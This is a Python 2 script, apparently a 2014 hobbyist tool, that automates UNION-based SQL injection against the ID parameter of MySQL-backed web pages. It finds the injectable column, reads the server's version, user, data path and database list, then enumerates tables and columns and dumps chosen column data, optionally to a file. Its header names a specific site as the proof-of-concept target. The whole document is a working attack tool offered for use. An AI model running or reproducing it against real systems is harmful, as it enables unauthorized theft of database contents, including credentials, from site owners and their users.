"""
***** Extract tool for MySQL *****
@author: z0rtecx
@release date: dec-2014
@version: 1.0.30122014
@poc: http://www.jas-simon.eu/newsdetail.php?id=1004
@description: The main method of the tool, is UNION technique in ID parameter. ONLY FOR MySQL DBMS.
@features:
- number of columns
- number of column to inject
- name of current DB
- path of DB files
- version of MySQL
- user of MySQL
- complete list of DB's of target system
- complete list of tables of current DB
- dump columns of selected table
- dump data of selected columns
@usage:
usage: tool.py [-h] [-u URL] [-s]
optional arguments:
-h, --help show this help message and exit
-u URL specify target whit [-] in ID
-s, --save save dump in file
@example:
$ python tool.py -u http://www.jas-simon.eu/newsdetail.php?id=-1004
OR
$ python tool.py -s -u http://www.jas-simon.eu/newsdetail.php?id=-1004
"""
#!/usr/bin/python
import urllib2
import re
import argparse
import sys
#### CONSTANTS ####
AND = "+AND+"
UNION = "+union+all+select+"
CHAR = "char("
DB = "database()"
COMM = "--"
SCHEMA = "information_schema"
DP = "0x3a"
COM = ","
COLUMN = ""
URL = ""
USER = "user()"
FROM = "+FROM+"
SCHEMA_NAME = "schema_name"
VERSION = "version()"
WHERE = "+WHERE+"
GROUP_CONCAT = "group_concat("
CONCAT = "concat("
CP = ")"
AP = "("
TABLE_NAME = "table_name"
TABLE_SCHEMA = "table_schema="
IZQ = DP + COM + DP + COM
DER = COM + DP + COM + DP
TROZO = ""
TROZO2 = ""
COUNT = "count(*)"
TABLE = ""
DIR = "@@datadir"
LIMIT = "+limit+"
POS = 0
CURRENT_DB = ""
###################
# Colors
class bcolors:
ROSA = '\033[95m'
AZUL = '\033[94m'
VERDE = '\033[92m'
AMARILLO = '\033[93m'
ROJO = '\033[91m'
ENDC = '\033[0m'
# End of Colors
# CREDITS #
CREDITS = bcolors.AZUL + "\n***** Extract tool for MySQL v.1.0 by z0rtecx *****\n" + bcolors.ENDC
# Request
def request(url):
try:
req = urllib2.urlopen(urllib2.Request(url)).read()
if re.search('::(.+?)::', req):
global COLUMN
global POS
columns = re.findall('::(.+?)::', req)
COLUMN = columns[0]
i = 1
while not COLUMN.strip() or not COLUMN.isdigit():
COLUMN = columns[i]
POS = i
i += 1
return False
else:
return True
except:
return True
# end Request
# Find columns
def findColumns(url):
url2 = url + UNION + "1"
url = url + UNION + CONCAT + IZQ + "1" + DER + CP
count = 1
while((request(url + COMM)) and (count < 50)):
count = count + 1
url = url + COM + CONCAT + IZQ + str(count) + DER + CP
url2 = url2 + COM + str(count)
if count == 50:
return bcolors.ROJO + "\nLimit exceeded" + bcolors.ENDC
else:
global URL
URL = url
return url2 + COMM
# end Find columns
# Dump
def dump(url):
data = urllib2.urlopen(urllib2.Request(url)).read()
salida = re.findall('::(.+?)::', data)
return salida[POS]
# end of Dump
# String to Ascii
def toAscii(word):
lista = [ord(c) for c in word]
salida = ""
contador = 0
for i in lista:
contador = contador + 1
if contador != len(lista):
salida = salida + str(i) + ","
else:
salida = salida + str(i)
return salida
# end of to Ascii
# dump data
def dumpData(url):
global TROZO
global TROZO2
result = []
patron = IZQ + COLUMN + DER
match = re.search(patron, url)
pos = match.start(0)
TROZO = url[:pos]
TROZO2 = url[pos+len(patron):]
# COLUMN to inject
result.append(bcolors.VERDE + "Column to inject: " + COLUMN + bcolors.ENDC + "\n")
# Current directory
try:
cadena = TROZO + IZQ + DIR + DER + TROZO2 + COMM
result.append("Path of DB files: " + dump(cadena) + "\n")
except:
result.append("Path of DB files: " + "\n")
# Version of MySQL
cadena = TROZO + IZQ + VERSION + DER + TROZO2 + COMM
result.append("Version: " + dump(cadena) + "\n")
# Dump Database
cadena = TROZO + IZQ + DB + DER + TROZO2 + COMM
global CURRENT_DB
CURRENT_DB = dump(cadena)
result.append("Current Database: " + CURRENT_DB + "\n")
# Dump user
cadena = TROZO + IZQ + USER + DER + TROZO2 + COMM
result.append("User: " + dump(cadena) + "\n")
# Dump list of databases
try:
cadena = TROZO + IZQ + GROUP_CONCAT + SCHEMA_NAME + CP + DER + TROZO2 + FROM + SCHEMA + ".schemata" + COMM
result.append("List of databases: " + dump(cadena) + "\n")
except:
result.append("List of databases: " + "\n")
return result
# end of dump data
# Dump list of tables
def dumpTables(database):
global DB
DB = database
maximo = TROZO + IZQ + COUNT + DER + TROZO2 + FROM + SCHEMA + ".tables" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + COMM
maximo = dump(maximo)
for i in range(0, int(maximo)):
cadena = TROZO + IZQ + CONCAT + TABLE_NAME + CP + DER + TROZO2 + FROM + SCHEMA + ".tables" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + LIMIT + str(i) + "," + str(1) + COMM
print dump(cadena)
# end of dump list of tables
# Dump columns data
def dumpColumns(table):
if not table:
return ""
maximo = TROZO + IZQ + COUNT + DER + TROZO2 + FROM + SCHEMA + ".columns" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + AND + TABLE_NAME + "=" + CHAR + toAscii(table) + CP + COMM
maximo = dump(maximo)
global TABLE
TABLE = table
for i in range(0, int(maximo)):
cadena = TROZO + IZQ + CONCAT + "column_name" + CP + DER + TROZO2 + FROM + SCHEMA + ".columns" + WHERE + TABLE_SCHEMA + CHAR + toAscii(DB) + CP + AND + TABLE_NAME + "=" + CHAR + toAscii(table) + CP + LIMIT + str(i) + "," + str(1) + COMM
print dump(cadena)
# end of dump columns data
# Dump data from colums
def dumpDataColumn(column1, column2):
salida = []
if not column1:
return ""
maximo = TROZO + IZQ + CONCAT + COUNT + CP + DER + TROZO2 + FROM + DB + "." + TABLE + COMM
try:
maximo = dump(maximo)
except IndexError:
print bcolors.ROJO + "\nCan't dump data for this table, try with current database.\n" + bcolors.ENDC
return ""
for i in range(0, int(maximo)):
cadena = TROZO + IZQ + column1 + COM + DP + COM + column2 + DER + TROZO2 + FROM + DB + "." + TABLE + LIMIT + str(i) + "," + str(1) + COMM
print dump(cadena)
salida.append(dump(cadena))
return salida
# end of dump data from columns
# get the web name
def getWebName(url):
name = re.findall("((http\://|https\://|ftp\://)|(www.))+(([a-zA-Z0-9\.-]+\.[a-zA-Z]{2,4})|([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}))(/[a-zA-Z0-9%:/-_\?\.'~]*)?", url)
return name[0][3]
# end of get the web name
# dump data in file
def dumpDataFile(data, webName):
f = open(webName + ".txt", 'a')
for i in data:
f.write(i + "\n")
f.close()
# end of dump data in file
def main():
parser = argparse.ArgumentParser(description="Simple MySQL injection Tool by z0rtecx")
parser.add_argument("-u", dest="url", help="specify target whit - in ID")
parser.add_argument("-s", "--save", help="save dump in file", action="store_true")
args = parser.parse_args()
url = args.url
if (url == None):
parser.print_help()
exit(0)
print CREDITS
print "Trying UNION attack, please wait...\n"
url2 = findColumns(url)
print "\n" + url2 + "\n"
try:
data = dumpData(URL)
for i in data:
print i
database = raw_input("\nType the database to dump tables: ")
print "\nList tables: \n"
dumpTables(database)
table = raw_input("\nType the table to dump columns: ")
dumpColumns(table)
column1 = raw_input("\nType the column to dump data: ")
column2 = raw_input("\nType the other column: ")
print "\n"
columnData = dumpDataColumn(column1, column2)
if args.save:
dumpDataFile(columnData, getWebName(url))
else:
print "\n"
sys.exit()
except AttributeError:
sys.exit()
except urllib2.HTTPError:
print bcolors.ROJO + "HTTP Error 500: Internal Server Error" + bcolors.ENDC + "\n"
sys.exit()
if __name__ == "__main__":
main()
|